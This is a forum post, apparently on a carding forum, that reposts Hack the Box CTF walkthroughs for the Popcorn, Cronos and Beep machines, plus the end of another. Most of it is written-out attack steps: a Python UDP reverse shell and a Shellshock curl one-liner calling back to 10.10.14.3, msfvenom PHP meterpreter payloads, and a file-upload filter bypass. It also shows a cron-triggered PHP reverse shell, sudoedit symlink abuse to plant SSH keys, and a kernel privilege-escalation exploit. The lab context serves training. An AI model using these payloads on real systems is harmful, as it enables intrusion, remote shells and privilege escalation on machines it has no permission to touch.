![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-vkztseC8AbE/Wr5SFb4Gx8I/AAAAAAAAVz4/ab3cTHkW0ss64eOMWqgMTNZNwUzFpbzyACEwYBhgL/s1600/6.png?w=687&ssl=1)
Now as we are running redirecting all the traffic through the proxy server we try to open localhost on our browser to check if there are any changes in the behaviour. As soon as we open localhost on our browser we are greeted with a login popup.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-7jsXLJVM6cA/Wr5SE1NkmBI/AAAAAAAAVz4/2iKFFfNyTlsMuJo6aBmwF7AmjfB8_lKnwCEwYBhgL/s1600/5.png?w=687&ssl=1)
We use the password and username we found above by cracking the hashes to login into the page.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-cdh2A5t7BSQ/Wr5SFqXxBmI/AAAAAAAAVz8/lL2dnjQppkc_UlGF1-RUt8QRTsegMbsNwCEwYBhgL/s1600/7.png?w=687&ssl=1)
We use dirb to enumerate the directories and find /console directory.
dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r
1
dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r
![[Image: 8.1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-mw74aNGAZHs/Wr5SGGdXlpI/AAAAAAAAV0A/cQ-u4ikJL24vpos8LeAWg6zU1s1Hj1FYQCEwYBhgL/s1600/8.1.png?w=687&ssl=1)
When we open the console directory and found a page that acts as an interpreter for python.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-oHQq8MD8uWY/Wr5SGOdSmDI/AAAAAAAAV0A/IOsZp9vt86ofyGoKJjlpbxaG86kKhuDtQCEwYBhgL/s1600/8.png?w=687&ssl=1)
Now we use python reverse shell to gain access to the target machine but TCP reverse shell doesn’t work on the system so we use UDP reverse shell to gain access of the system.
import subprocess;subprocess.Popen(["python", "-c", 'import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\"10.10.14.3\", 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn(\"/bin/sh\");s.close()'])
1
import subprocess;subprocess.Popen(["python", "-c", 'import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\"10.10.14.3\", 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn(\"/bin/sh\");s.close()'])
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-EryNlt2PkN4/Wr5SGvij6fI/AAAAAAAAV0E/hjvmudFQNnQKYw3H3u2Dogool1qHTIU6QCEwYBhgL/s1600/9.png?w=687&ssl=1)
We use socat to setup our listener as netcat was not able to provide a stable tty shell for us to run our commands.
socat file:’tty’,echo=0,raw udp-listen:4444
1
socat file:’tty’,echo=0,raw udp-listen:4444
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-UrN879Lwwgw/Wr5SA8ZAR5I/AAAAAAAAVzs/jQmqM0jQ36c74Eqti7yp6JxCY-48QQhfgCEwYBhgL/s1600/10.png?w=687&ssl=1)
After gaining reverse shell we take a look at the sudoers file and find that we can run a command called sudoedit on file /var/www/*/*/layout.html as alekos. Sudo edit is a command that can be use to edit any file on the system.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-ujXJXhpzx8E/Wr5SA1CQkKI/AAAAAAAAV0A/F1T3-WVfq7EF4iZD4bnsMUTFjBsd3ap2wCEwYBhgL/s1600/11.png?w=687&ssl=1)
Enumerating through the directories we find .ssh folder in /home/alekos folder.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8S3MAc_thjE/Wr5SBjlof-I/AAAAAAAAVz8/EVDiGIRdsn8jCpypd1dSunwdsu-zXTfvgCEwYBhgL/s1600/12.png?w=687&ssl=1)
Now as the file listed in the sudoers list is using wildcard we can use symlink to link a file that can be edited using sudoedit. As we found the .ssh folder for user alekos we link the authorized_keys with layout.html to edit the authorized_keys and add our keys , so that we can gain access through ssh using our own private key.
cd /var/www/
cd testing
mkdir test
cd test
ln -s /home/alekos/.ssh/authorized_keys layout.html
1
2
3
4
5
cd /var/www/
cd testing
mkdir test
cd test
ln -s /home/alekos/.ssh/authorized_keys layout.html
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-3pR6E-jfHTY/Wr5SBYTS-hI/AAAAAAAAVzw/qBN38t0ndGsbMNk7rgzceo4ISvxVcQBsQCEwYBhgL/s1600/13.png?w=687&ssl=1)
Now we use sudoedit as user alekos to edit alekos’s authorized_keys.
sudoedit -u alekos /var/www/testing/test/layout.html
1
sudoedit -u alekos /var/www/testing/test/layout.html
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-RAn4ZwFrjX8/Wr5SBYHmWoI/AAAAAAAAVz0/KluPUqYC8_AcSsX2BsjMSah12FagwV23QCEwYBhgL/s1600/14.png?w=687&ssl=1)
Now we generate keys on our system so that we can copy the public key into authorized_keys and use our private key to login.
ssh-keygen
1
ssh-keygen
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Aciy4VsNP60/Wr5SCEJRHNI/AAAAAAAAVzw/-RgBariE7P0FyXtDl8rCIQqvqEl1P44cACEwYBhgL/s1600/15.png?w=687&ssl=1)
Now we open the public key that we just generated and copy it.
cat id_rsa.pub
1
cat id_rsa.pub
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-xitWXlKJF8M/Wr5SCImC4bI/AAAAAAAAV0A/1ZNkq9652uwIwKoomVx1nHK3c2h9n0qkACEwYBhgL/s1600/16.png?w=687&ssl=1)
We copy it in our target machine and save it.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-lLR-1iRQOpE/Wr5SCJnQCcI/AAAAAAAAVz0/4k6YspbqfEEi7LYNXHN6NKyxDOkJvnHhwCEwYBhgL/s1600/17.png?w=687&ssl=1)
Now we use the private key we generated to login through ssh to the target machine. As soon as we login through ssh we find user.txt in the home directory of alekos we open it and find the first flag.
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-O8dhx5T8Ozc/Wr5YX-SpAGI/AAAAAAAAV0Q/aVZ18Px06PMjuPMiX09mULTA5gEec-KFgCLcBGAs/s1600/18.png?w=687&ssl=1)
We start enumerating the directories; in the backup directory we find a few tape archive files when we extract them we find that it contains the backup for development directory.
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-qJDwRUFQAmE/Wr5SDMQ4QVI/AAAAAAAAVz0/-ghPc7PETwI4EMtPaiEr939qkqeB74OzwCEwYBhgL/s1600/19.png?w=687&ssl=1)
Now we rename the development directory to dev/ and use symlink to link the root directory to the development directory.
mv development dev/
ln -s root development
1
2
mv development dev/
ln -s root development
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-rvGz27tsEVI/Wr5SD-sc8HI/AAAAAAAAVzw/CZFwEJHzQ0o1whR20HX8iiQrQ4YogYiHgCEwYBhgL/s1600/20.png?w=687&ssl=1)
We then wait for a few minutes for the file to create backup for the new development folder. As the development is linked to root folder it will create a backup for the root folder. Now we open the new tape archive file that is created and find a file called root.txt we open it and find the final flag.
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-xFhWPRUO1DM/Wr5SEOWFvdI/AAAAAAAAVz0/TbirIJE6Ah4dRPjDa80-dMYo9phPnFkrgCEwYBhgL/s1600/21.png?w=687&ssl=1)
Author: Saya
|
|
|
|
| [Guide] How to Hack the Box Challenge: Popcorn Walkthrough |
|
Posted by: NINZA - 05-14-2020, 08:36 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends!! Today we are going to solve another CTF challenge “Popcorn” which is available online for those who want to increase their skill in penetration testing and black box testing. popcorn is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.6 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.6
1
nmap -A 10.10.10.6
From the given below image, you can observe we found port 22,80 are open in the victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ZPOEDHGf37U/Wrun5Q6tOgI/AAAAAAAAVwg/a5Hi8yaCV84XHRCmE40ushpF_Y0Qf2IDQCEwYBhgL/s1600/1.png?w=687&ssl=1)
Knowing port 80 is open in the victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue for the next step.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-hlvf8NqSOeM/Wrun7lrWVcI/AAAAAAAAVxI/YoHfV9MQ4uc6XdftYM2xhFao9emFOfKhgCEwYBhgL/s1600/2.png?w=687&ssl=1)
Next, we have used dirb tool of Kali to enumerate the directories from using the IP Address. The command we have used is dirb [To see content please register here] .6 After checking most of the directories, we finally decided to go for /torrent directory.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-uU5re-vauf0/Wrun7l92-qI/AAAAAAAAVxM/yp7pJKv8KkcT9OaujGHK9L-U5XcdypbvACEwYBhgL/s1600/3.png?w=687&ssl=1)
So next we decided to explore [To see content please register here] through browser URL and what we see is a Webpage shown below. After looking at the page for some clue, we saw that we need to register on this site first.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-qMNY52aMwm0/Wrun8CUBxTI/AAAAAAAAVxQ/FmHU0v9lEf851OFOQvMd50tmTNziwKWKACEwYBhgL/s1600/5.png?w=687&ssl=1)
After clicking on Register option on the Webpage. The registration form opened is shown below. As you can see you need to give details to successfully register on this site.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-7C469U78CHw/Wrun8GiJF_I/AAAAAAAAVxU/qGGK3h6Zz64gSeLsJf6mHaenRAsDDWvmwCEwYBhgL/s1600/6.png?w=687&ssl=1)
After successfully registering on the website. Click on Upload option and the page opened is shown below. Now here we have given the path of any torrent file. Then Click on upload.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-RGXqL0YAdls/Wrun8btq02I/AAAAAAAAVxY/2DMx4y2KzgcyZXfO1GePLfxYf57ukgh0QCEwYBhgL/s1600/7.png?w=687&ssl=1)
When the torrent file is successfully uploaded the next page we are redirected to is shown below. Now simply click on Edit this torrent option.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-_WGcmmv1J0A/Wrun8qaf2BI/AAAAAAAAVxc/zSczRQK3ef0I6OaYP8qy8r_hM495spAzACEwYBhgL/s1600/8.png?w=687&ssl=1)
Now using Metasploit we have created a payload in php by using the command.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4321 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4321 -f raw
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-w6DRPrShGgs/Wrun8-VD14I/AAAAAAAAVxg/ub7xC4gZnKsHqggY22YNa3lkh6psxr46ACEwYBhgL/s1600/9.png?w=687&ssl=1)
Now the problem we got was while we are uploading a php file in the update screenshot option it was not taking a php file. So what we did here is renamed the file with php.png which is 123.php.png. And Clicked on Submit Screenshot.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Vvm3LpTjxyk/Wrun5eHKvGI/AAAAAAAAVwk/R6gyTA392AcN26MeQePGDTw5GFauFKqjgCEwYBhgL/s1600/12.png?w=687&ssl=1)
But before clicking on submit screenshot we have captured the request of this page using Burp Suite. Where you can see our file with a double extension has been successfully submitted.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-TcoPlcAZQ7w/Wrun5ejA7bI/AAAAAAAAVwo/NZAw5rE3Cio8ulrXI9QVHPJMFGnHQXhQACEwYBhgL/s1600/13.png?w=687&ssl=1)
As you can see have edited the file name to 123.php. Now Click on Forward option in burp suite.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-s_aJaokbQlw/Wrun6KSec0I/AAAAAAAAVws/A9azaurV5ygQo1VCGUGEavwF5KAIsDXsQCEwYBhgL/s1600/14.png?w=687&ssl=1)
Next, we saw that our file has been successfully uploaded.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-yAsOIH95Rqc/Wrun6OzrIvI/AAAAAAAAVww/ueRNPFHqMPc5fuFIKsm0V6iUl3_jAYRCACEwYBhgL/s1600/15.png?w=687&ssl=1)
Next, we have again used dirb tool of kali to enumerate the directories from using the IP Address. The command we have used is dirb [To see content please register here] . After checking most of the directories, we finally decided to go for /torrent/upload/ directory.
![[Image: 16.1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-512x4R0E2mU/Wrun6Rou01I/AAAAAAAAVw0/8Dk6281WJnYdp1flouvtRyh1stO5YIyBACEwYBhgL/s1600/16.1.png?w=687&ssl=1)
So next we decided to explore [To see content please register here] through browser URL and what we see is a Webpage shown below. We see that our file has been successfully uploaded. By click on the file, we have uploaded.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Hiifz97Ovq0/Wrun63iplEI/AAAAAAAAVw4/j4SbwN8df7swcqb53Dg0SSQT-jYCe75OwCEwYBhgL/s1600/16.png?w=687&ssl=1)
We have used Metasploit and got the meterpreter as you can see below.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 4321
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 4321
msf exploit(multi/handler) exploit
Once we have got the meterpreter. We have used command cd /home. Then we check inside the george directory using command ls /home/george, here we found out the user.txt file and read the file content which contains our first FLAG!!
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Uy33mkIWF4c/WrutNbHfu9I/AAAAAAAAVxs/1RIbn3gP9ag2dM-ZLPNXcnDrz1yrdRkNQCLcBGAs/s1600/17.png?w=687&ssl=1)
Now have searched kernel exploit on google, where we found that it is an exploit which is used for getting Local privilege escalation. We have simply downloaded the file on our Desktop.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-MVMJPKde_Qk/Wrun7KfcDCI/AAAAAAAAVxA/Lwey-QScvLQRKC_ryaSCKvO8LX7aNWGngCEwYBhgL/s1600/18.png?w=687&ssl=1)
As you can see we have uploaded using the command upload /root/Desktop/15704.c Now we have used the command shell to access the root privilege. Now we have compiled. Next, we have given permission to the exploit. Using cd /root command we have found a root.txt file. And to view the contents we have used cat root.txt command. In the end, we have found our Final FLAG!!
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-urT9rOJQk9M/WrutJjQeCeI/AAAAAAAAVxo/DiCu-eb0H_Ab3VsOy8ERqYxJ02vCzYfiQCLcBGAs/s1600/19.png?w=687&ssl=1)
Today we are going to solve another CTF challenge “Cronos” which is available online for those who want to increase their skill in penetration testing. Cronos is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Cronos craft which is designed for beginners.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.13 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.13
1
nmap -A 10.10.10.13
From the given below image, you can observe we found port 22,53,80 are open in the victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ddYxuOf0Kv8/WrptD-yXt8I/AAAAAAAAVvA/FuW_sJGz0r4b6IH1PuQU0L-W6hN_8TxqwCEwYBhgL/s1600/1.png?w=687&ssl=1)
Knowing port 80 is open in the victim’s network we preferred to explore this IP in a browser but didn’t get any remarkable clue for next step. It just came out that the Apache HTTP Server is working properly.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kCCSZuT0BSM/WrptGWz_FJI/AAAAAAAAVwE/5u-b0uah22cc7AD1o9gzDYI6fctelH1RwCEwYBhgL/s1600/2.png?w=687&ssl=1)
Now we have added the domain name of the target machine in the /etc/hosts file to access the webpage using the IP address as well as Domain Name that we have added.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-m3RD15JsTXs/WrptGklM2DI/AAAAAAAAVwI/PNUTC0K65Yk0PqlR2UBYcRqiGsEcNN7CgCEwYBhgL/s1600/3.png?w=687&ssl=1)
Knowing that Port 53 is open. We have used command host -l cronos.htb 10.10.10.13 to check the DNS running on this IP. On the other hand, it gave us a clue for our next step which is another Domain Name i.e admin.cronos.htb
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-C78mIxdc6Mw/WrptGnWM_-I/AAAAAAAAVwM/jk1zeLlzfkQ7yCnlS8XmViwu9d7oNXCwQCEwYBhgL/s1600/4.png?w=687&ssl=1)
Now we have added the new domain name which was found in the previous step inside /etc/hosts file to access this webpage with both IP address and Domain Name.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-uiLY19rnarY/WrptG-Ra-dI/AAAAAAAAVwQ/EObkX8-nCIoZTa6CxYrbjLGwDnjKt_82ACEwYBhgL/s1600/5.png?w=687&ssl=1)
Now open [To see content please register here] on the browser. And it came out to be a Login Portal asking for username and password credentials to log us in. Basically, we know in a situation like this, we might generally use Brute Forcing or SQL Injection. After long hours of trying we finally breached it using SQL injection command in the Username and giving any Random Number in the Password.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-CdTBUKbsWY4/WrptHn3K0YI/AAAAAAAAVwU/lPX_ZPzaUV0af4ooeHBlMehIjardgM24gCEwYBhgL/s1600/6.png?w=687&ssl=1)
From the previous step, we are successfully logged into this portal. And the page opened is given below.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-yBnTJJVsbrw/WrptHTbJ2mI/AAAAAAAAVwU/GS7vAtdaQEQXdxvOQjvXXktvxckBjDedwCEwYBhgL/s1600/7.png?w=687&ssl=1)
Now in this critical situation, we thought of running command injection; ls as shown below. Which showed us some .php files.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-G_L4q1tPUvY/WrptHrqiRFI/AAAAAAAAVwQ/B_5XrVI2mQMkFhp1n3cH7Ar604x-SEUuQCEwYBhgL/s1600/8.png?w=687&ssl=1)
We have used Metasploit exploit /multi/script/web_delivery and got the meterpreter as you can see below.
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 1
msf exploit(multi/script/web_delivery) set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.3
msf exploit(multi/script/web_delivery) set lport 8082
msf exploit(multi/script/web_delivery) exploit
1
2
3
4
5
6
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 1
msf exploit(multi/script/web_delivery) set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.3
msf exploit(multi/script/web_delivery) set lport 8082
msf exploit(multi/script/web_delivery) exploit
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-0iuifNwkJMI/WrptIJGbE3I/AAAAAAAAVwU/K8WtqsrKXKYFRyL8hl65X6cA4TuRzvvkwCEwYBhgL/s1600/9.png?w=687&ssl=1)
Next, you can we have pasted the copied command and clicked on execute.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-fv9Frkf_aZU/WrptDfdZ-9I/AAAAAAAAVwI/OkK4lmM7mscxrHvt6XvJNDw6Jecv9jHsQCEwYBhgL/s1600/10.png?w=687&ssl=1)
There we got our first Session along with the meterpreter. Once we have got the meterpreter. We have used command cd /home to check what kind of directories are on home. Then we check inside the noulis directory using command ls /home/noulis, here we found out the user.txt file and used cat user.txt to read the file content which contains our first FLAG!!
sessions 1
sysinfo
cd /home
ls
cd noulis
ls
cat user.txt
1
2
3
4
5
6
7
sessions 1
sysinfo
cd /home
ls
cd noulis
ls
cat user.txt
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-0v3mpOJMXJE/WrptD-RP9FI/AAAAAAAAVv8/vzPxYfjiq-86DM_XAhnd5WPbfe6Jhu0iQCEwYBhgL/s1600/11.png?w=687&ssl=1)
After we have used command cat crontab to view the contents inside the crontab. Hereby viewing the logs of crontab we saw a PHP file which has been scheduled and gets executed every time.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-auY5A9H_YTk/WrptECg1OAI/AAAAAAAAVv8/ilZcreupr5cDT9e4Lr_s6zFxAnWzgzqxwCEwYBhgL/s1600/12.png?w=687&ssl=1)
So we thought of downloading this file to our Desktop by using the command
download /var/www/laravel/artisan /root/Desktop/ .
1
download /var/www/laravel/artisan /root/Desktop/ .
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-cWFiQXoEQPM/WrptEokaNqI/AAAAAAAAVwM/sCApVEUYL9Uke9IcL4RJjRy7IzvtZzmLgCEwYBhgL/s1600/13.png?w=687&ssl=1)
Now we have used a default web shell named php-reverse-shell.php and by editing this file using the text editor. We have changed the IP to our local host IP and changed the port to 1234. Click on Save. And we have also changed the name of this file to artisan which was the name of the file we downloaded earlier.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-N9BkZ-eF9fw/WrptFRD_pSI/AAAAAAAAVwA/R0vWR6lwUqkwdSZLVCDNTbwtatW_P5RgACEwYBhgL/s1600/15.png?w=687&ssl=1)
It’s time to upload this file artisan.php to the same location from where we downloaded the original artisan file. For this the command used is
upload /root/Desktop/artisan.php /var/www/laravel/artisan
1
upload /root/Desktop/artisan.php /var/www/laravel/artisan
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-ARnz6P88cuI/WrptFyNa7bI/AAAAAAAAVwI/9K5fM9H6y9glu_GQdsQGeI_EhHKWP_N3QCEwYBhgL/s1600/16.png?w=687&ssl=1)
Next, we have started a netcat listener using command nc –lvp 1234. Therefore as per crontab, the scheduled artisan.php can be executed whenever its turn will come up. After a few minutes this file got executed, then we used command ls to look a directory named root. The command used is cat /root for the contents in the root directory. We found the root.txt file. By using command cat /root.txt. We found out final Flag!!
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-APm3dmnzoaI/WrptGJspx-I/AAAAAAAAVwQ/2lE4n_TJy60B0wMMlCtBOiAmoh1I8OBkQCEwYBhgL/s1600/17.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Beep” which is available online for those who want to increase their skill in penetration testing and black box testing. Sense is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Beep craft which is designed for beginners.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.7 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.7
1
nmap -sV 10.10.10.7
From given below image, you can observe we found port 22,25,80,110,111,143,443,993,995,3306,4445,10000 are open in victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-v9rYzIYNJpw/WrkHkBTljWI/AAAAAAAAVss/S-JKCnrk9_AKBNBYRkL_HX1UF0-YIlJ3QCEwYBhgL/s1600/1.png?w=687&ssl=1)
Knowing port 80 is open in the victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue for the next step.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-bpfXMrl95TQ/WrkHl10vPrI/AAAAAAAAVtI/SS0YBtbOny4DgvwnZKDnLk0QpK9WXnazgCEwYBhgL/s1600/2.png?w=687&ssl=1)
As you can see we are redirected to the Elastix Login Portal in the image below.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-37Wx-qfCFHM/WrkHmJq6n-I/AAAAAAAAVtM/vnKVyGwUMkwKh5EiY4W90EKADXa3CxgggCEwYBhgL/s1600/3.png?w=687&ssl=1)
Next, we have used dirb tool of Kali to enumerate the directories from the .txt file. The command we have used is dirb /usr/share/wordlists/dirb/big.txt . After checking most of the directories, we finally decided to go for the vtigercrm directory.
![[Image: 4.1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-yNCS1rl1XUM/WrkHmQaxUTI/AAAAAAAAVt4/B_QMneydXWYjglP18JrkykSR4av94B4TACEwYBhgL/s1600/4.1.png?w=687&ssl=1)
So next we decided to explore [To see content please register here] through browser URL and what we see is another Login Portal of vtiger CRM 5 browser. After looking at the page for some clue, we saw a version of vtiger which is vtiger CRM 5.1 in the bottom left of the Webpage. As Shown Below.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ogQW2cJ79Es/WrkHmm2NIVI/AAAAAAAAVtw/5IIkoQmIx0UVSMYAfHghWsOr0dvpmPYywCEwYBhgL/s1600/4.png?w=687&ssl=1)
Then we decided to search this version of vtiger CRM 5.1 on google. Which came out to be a Metasploit’s Exploit.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-qAQOLai_WFE/WrkHmw23NQI/AAAAAAAAVt0/m6kZ18Wc3_o2v-4I5S-JzGJNA3CjbIzMwCEwYBhgL/s1600/5.png?w=687&ssl=1)
We have used Metasploit exploit /vtiger_soap_upload and got the meterpreter as you can see below.
use exploit/multi/http/vtiger_soap_upload
msf exploit(multi/http/vtiger_soap_upload) set rhost 10.10.10.7
msf exploit(multi/http/vtiger_soap_upload) set rport 443
msf exploit(multi/http/vtiger_soap_upload) set ssl true
msf exploit(multi/http/vtiger_soap_upload) exploit
1
2
3
4
5
use exploit/multi/http/vtiger_soap_upload
msf exploit(multi/http/vtiger_soap_upload) set rhost 10.10.10.7
msf exploit(multi/http/vtiger_soap_upload) set rport 443
msf exploit(multi/http/vtiger_soap_upload) set ssl true
msf exploit(multi/http/vtiger_soap_upload) exploit
Great!!! We got meterpreter session 1 opened
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-P382PrDEpl8/WrkHnF86okI/AAAAAAAAVt4/5oil2MnmH3Q6SNsY4iAi4avPy9M3hqhTgCEwYBhgL/s1600/7.png?w=687&ssl=1)
Once we have got the meterpreter. We have used command cd /home to check what kind of directories are on home. Then we check inside the fanis directory using command ls /home/fanis, here we found out the user.txt file and used cat user.txt to read the file content which contains our first FLAG!!
pwd
cd /home
ls
cd fanis
ls
cat user.txt
1
2
3
4
5
6
pwd
cd /home
ls
cd fanis
ls
cat user.txt
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-PMvxKrGXY5Q/WrkHnUe1fmI/AAAAAAAAVuA/tnNKGeRrq34FhkLw_ZJpRWUuAy4xI1OoACEwYBhgL/s1600/8.png?w=687&ssl=1)
In the beginning, we say port 10000 was also open when we scanned the IP using NMAP command. We opened the port 10000 along with the IP in the browser. This gave us a bad request, but the clicking on the URL open up the page.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-IzqZrLhmruc/WrkHkKGd2uI/AAAAAAAAVt4/y4C8rAbG5v8uqe0z4LHTaxpSnN5WlAqbACEwYBhgL/s1600/12.png?w=687&ssl=1)
Clicking on the URL given in the previous step just redirected us to Webmin login Portal as you can see in the image below.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-GPjcz9KV1OI/WrkHkF09zxI/AAAAAAAAVts/ghPu3lHjwH0lOWCJEkjm07H7uM9VPA0QACEwYBhgL/s1600/13.png?w=687&ssl=1)
As we don’t know the username and password credential for this portal. So we decided to use some random username’s and password’s which shows us a new directory name at the end of the URL which is session_login.cgi.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-9H9Vt6f3XwI/WrkHk7zAA3I/AAAAAAAAVuA/NtFn4k7mr3UFJM9m9kTgs5uoekgq-e7UwCEwYBhgL/s1600/14.png?w=687&ssl=1)
Now we decided to use curl to exploit vulnerability In this command we have given the local hosts IP, the port number so that we can start out listener services using netcat command on this port and we have given victims URL.
curl -k -H "user-agent: () { :; }; bash -i >& /dev/tcp/10.10.14.3/8081 0>&1" [To see content please register here]
1
curl -k -H "user-agent: () { :; }; bash -i >& /dev/tcp/10.10.14.3/8081 0>&1" [To see content please register here]
